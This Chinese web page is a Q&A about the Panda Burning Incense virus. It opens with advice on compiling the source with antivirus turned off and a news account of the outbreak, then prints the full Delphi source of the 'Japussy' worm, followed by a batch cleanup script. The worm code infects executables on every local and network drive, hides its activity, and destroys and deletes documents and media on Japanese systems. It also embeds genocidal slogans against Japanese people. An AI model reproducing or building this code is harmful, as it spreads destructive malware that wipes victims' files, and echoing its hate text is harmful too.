熊猫烧香源代码（简单的病毒编程代码）

本篇文章给大家谈谈熊猫烧香源代码，以及简单的病毒编程代码对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。

本文目录一览：

• 1、有熊猫烧香源代码,怎么把它变成病毒
• 2、在手机的源代码里面写入熊猫烧香的代码然后重启手机手机会执行吗？
• 3、熊猫烧香病毒有多厉害？
• 4、谁有熊猫烧香的源代码，给我发一份

有熊猫烧香源代码,怎么把它变成病毒

网上有的熊猫的源代码 大部分是dephi的，用个dephi的编译软件就 复制进去就可以生成了 不过杀毒软件关掉 现在没有一个杀毒软件不能杀他 而且有的源代码都是最早的那种 没什么用啊 你要干什么

在手机的源代码里面写入熊猫烧香的代码然后重启手机手机会执行吗？

不会，熊猫烧香的代码是基于windows系统下的代码

再看看别人怎么说的。

熊猫烧香病毒有多厉害？

继CIH之后危害中国最严重病毒之一熊猫烧香《3C周刊》上期出版了在台湾地震后，微软Windows系统安全补丁更新缓慢，导致“熊猫烧香”病毒泛滥的报道之后，许多读者纷纷向记者反映，其实“熊猫烧香”病毒的危害远不止于此。本期我们接下来再详细探究“熊猫烧香”病毒的来龙去脉和背后的不解之谜。 作者究竟是不是“武汉男孩”？ 在“熊猫烧香”病毒流行之初，某防毒软件厂商就在病毒代码内找到一个与功能无关的词语：“wh鄄boy”。这是作者的签名，是“武汉男孩”的中英文混合缩写。whboy曾经是病毒界一个响当当的人物，早在2004年就创造了一种通过QQ传播的盗号木马病毒，因为该病毒变种的疯狂和传播的广泛，一年后，被防毒软件厂商列入2005年十大病毒之一。 此后，whboy还在一些地下的病毒论坛和黑客论坛发帖，表示可以提供盗取QQ号服务，但不久后便销声匿迹，直至“熊猫烧香”病毒的出现才重现江湖。 到了2006年12月初，“熊猫烧香”病毒的变种开始增多，代码中除了“whboy”字样外，又多了一行汉字：“武汉男孩感染下载者”。随着变种的增多，代码内附带的信息也越来越多。1月15日，whboy还在网上留言调戏受害者：“我制作的病毒已经‘满城尽烧国宝香’。”因此，人们不仅断定“熊猫烧香”病毒就是武汉男孩所为，并且有防毒软件厂商声称该作者利用病毒“年收入可赚一座别墅”。 在深入分析了“熊猫烧香”病毒代码后，反病毒专家发现病毒会感染网页文件，会在网页中加入一段代码，把网页转向这个网址(www.****.com/worm.htm)。经记者追踪，该网站注册信息显示注册人来自武汉，这更让人相信熊猫烧香”病毒始作俑者就是“武汉男孩”的说法。 “熊猫烧香”病毒究竟想干什么？ 在12月至1月19日的一个月时间里，“熊猫烧香”作者多次发布更新版的变种病毒，每一次都针对以前设计的不完善进行修改，最后一个版本可以说是把能想到的感染破坏手段都应用上了。他为什么要如此辛劳地研制病毒程序呢？防毒软件专家经过分析认为，“熊猫烧香”带有强烈的商业目的，“用户感染病毒后，会从后台点击国外的网站，部分变种中含有盗号木马，病毒作者可借此牟利”。 日前，有关方面已将病毒作者的相关证据和病毒特性提交给国家计算机病毒应急处理中心。国家计算机病毒应急处理中心工作人员称，关于这场“熊猫烧香”病毒风暴，受波及的电脑数量以及造成的经济损失等相关数据目前正在统计中，将于近日公布。据业内人士估计，这可能是继CIH之后，对中国电脑用户影响最严重的病毒，而且传播手段之狠，破坏之严重是大家始料不及的。 另有一些业内人士认为，“熊猫烧香”病毒最初的设计目的主要是针对日文操作系统进行严重破坏，而在其他语言Windows上主要是传染，但由于设计不当导致在中文Windows下也破坏严重。该病毒是由Delphi5语言所编写的，并且一份据称是“熊猫烧香”病毒的源代码正在互联网上散播，任何人只要利用Google或者Baidu等搜索工具都可以轻易获得。这似乎也能解释为什么“熊猫烧香”病毒在最近两周内变种数量激增的原因，因为很多编程爱好者都可以藉此制造出病毒变种。 有防毒软件工程师认为，这份源代码并非最初的“熊猫烧香”病毒源代码，但是对于想制造病毒的人来说，也有相当的技术参考价值。不管怎么说，“熊猫烧香”病毒已经在许多单位的局域网(LAN)中泛滥，而记者粗略调查了一下，电脑用户中招的概率超过20%。而各防毒软件公司，如瑞星、金山等，提供的免费专杀工具解决了大部分人的问题，但仍有相当部分用户最终不得不以重新安装Windows系统来解决。

谁有熊猫烧香的源代码，给我发一份

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码，以备写入

Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +

''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +

''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之？

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用，退出

if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节)，存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码，将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + '''''''''''''''':\'''''''''''''''';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录，感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr 16) and (SearchRec.Name ''''''''''''''''.'''''''''''''''') and

(SearchRec.Name ''''''''''''''''..'''''''''''''''') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name ''''''''''''''''.'''''''''''''''') and

(SearchRec.Name ''''''''''''''''..'''''''''''''''') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then

begin

//感染HTML和ASP文件，将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or

(Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or

(Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or

(Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or

(Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or

(Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧！

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了，开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件，多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end.

请转帖的朋友标明出处

以下为清除威金、熊猫烧香病毒的批处理

@echo off

title 清除威金（logo_1,熊猫烧香）病毒最新变种工具

@echo 清除VIKING病毒最新变种工具

pause

if exist %windir%\rundl132.exe echo ---报告老大，发现有威金病毒埋伏! 让我来干掉它-----

if exist %windir%\logo_1.exe echo ---报告老大，发现有威金病毒埋伏!让我来干掉它 -----

//杀viking进程

tskill logo_1

tskill rundl132

tskill zt

tskill wow

tskill logo1_

tskill Ravmon

tskill Eghost

tskill Mailmon

tskill KAVPFW

tskill IPARMOR

tskill Ravmond

taskkill /f /im 0sy.exe

taskkill /f /im 1sy.exe

taskkill /f /im 2sy.exe

taskkill /f /im 3sy.exe

taskkill /f /im 4sy.exe

taskkill /f /im 5sy.exe

taskkill /f /im 6sy.exe

taskkill /f /im 7sy.exe

taskkill /f /im 8sy.exe

taskkill /f /im 9sy.exe

//删除木马

del d:\_desktop.ini /f/s/q/a

del c:\Program Files\_desktop.ini

del %Windir%\MickNew\MickNew.dll

del %Windir%\MH_FILE\MH_DLL.dll

del %Windir%\_desktop.ini

del %Windir%\TODAYZTKING\TODAYZTKING.DLL

attrib -h -r -s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib -h -s -r c:\autorun.inf

del c:\autorun.inf

attrib -h -r -s d:\go.exe

del d:\go.exe

del d:\setup.exe

attrib -h -s -r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib -h -r -s e:\go.exe

del e:\go.exe

attrib -h -s -r e:\autorun.inf

del e:\autorun.inf

attrib -h -r -s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib -h -s -r f:\autorun.inf

del f:\autorun.inf

attrib -h -r -s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib -h -s -r g:\autorun.inf

del g:\autorun.inf

del h:\go.exe

del h:\setup.exe

attrib -h -s -r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib -h -s -r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib -h -s -r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del %windir%\system\Logo1_.exedel %windir%\system\Logo_1.exe

del %windir%\rundl132.exe

del %windir%\vDll.dll

del %windir%\Dll.dll

del %windir%\0Sy.exe

del %windir%\1Sy.exe

del %windir%\2Sy.exe

del %windir%\3Sy.exe

del %windir%\5Sy.exe

del %windir%\1.com

@echo ^_^ 报告老大，VIKING已经全都被处死

@echo 真累哈,再给你的系统免疫下,不需要的话请直接退出

pause

//免疫系统

echo %windir%\Logo1_.exe

echo %windir%\rundl132.exe

echo %windir%\0Sy.exe

echo %windir%\vDll.dll

echo %windir%\1Sy.exe

echo %windir%\2Sy.exe

echo %windir%\rundll32.exe

echo %windir%\3Sy.exe

echo %windir%\5Sy.exe

echo %windir%\1.com

echo %windir%\exerouter.exe

echo %windir%\EXP10RER.com

echo %windir%\finders.com

echo %windir%\Shell.sys

echo %windir%\kill.exe

echo %windir%\sws.dll

echo %windir%\sws32.dll

echo %windir%\uninstall\rundl132.exe

echo %windir%\SVCHOST.exe

echo %windir%\WINLOGON.exe

echo %windir%\RUNDLL32.EXE

echo C:\"Program Files"\svchost.exe

echo C:\"Program Files"\"Internet Explorer"\svchost.exe

echo %windir%\Download\svchost.exe

echo %windir%\system32\wldll.dll

attrib %windir%\Logo1_.exe +s +r +h

attrib %windir%\rundl132.exe +s +r +h

attrib %windir%\0Sy.exe +s +r +h

attrib %windir%\vDll.dll +s +r +h

attrib %windir%\1Sy.exe +s +r +h

attrib %windir%\2Sy.exe +s +r +h

attrib %windir%\rundll32.exe +s +r +h

attrib %windir%\3Sy.exe +s +r +h

attrib %windir%\5Sy.exe +s +r +h

attrib %windir%\1.com +s +r +h

attrib %windir%\exerouter.exe +s +r +h

attrib %windir%\EXP10RER.com +s +r +h

attrib %windir%\finders.com +s +r +h

attrib %windir%\Shell.sys +s +r +h

attrib %windir%\kill.exe +s +r +h

attrib %windir%\sws.dll +s +r +h

attrib %windir%\sws32.dll +s +r +h

attrib %windir%\uninstall\rundl132.exe +s +r +h

attrib %windir%\SVCHOST.exe +s +r +h

attrib %windir%\WINLOGON.exe +s +r +h

attrib %windir%\RUNDLL32.EXE +s +r +h

attrib C:\"Program Files"\svchost.exe +s +r +h

attrib C:\"Program Files"\"Internet Explorer"\svchost.exe +s +r +h

attrib %windir%\Download\svchost.exe +s +r +h

attrib %windir%\system32\wldll.dll +s +r +h

net share c$ /del

net share d$ /del

net share e$ /del

net share f$ /del

net share admin$ /del

net share ipc$ /del

cls

@echo -------------------------------------

@echo viking已经全部被我杀完拉,哈,厉害吧

@echo 系统已经成功免疫!

@echo 谢谢你的使用,请重启您的电脑!

@echo -------------------------------------

pause

熊猫烧香源代码的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于简单的病毒编程代码、熊猫烧香源代码的信息别忘了在本站进行查找喔。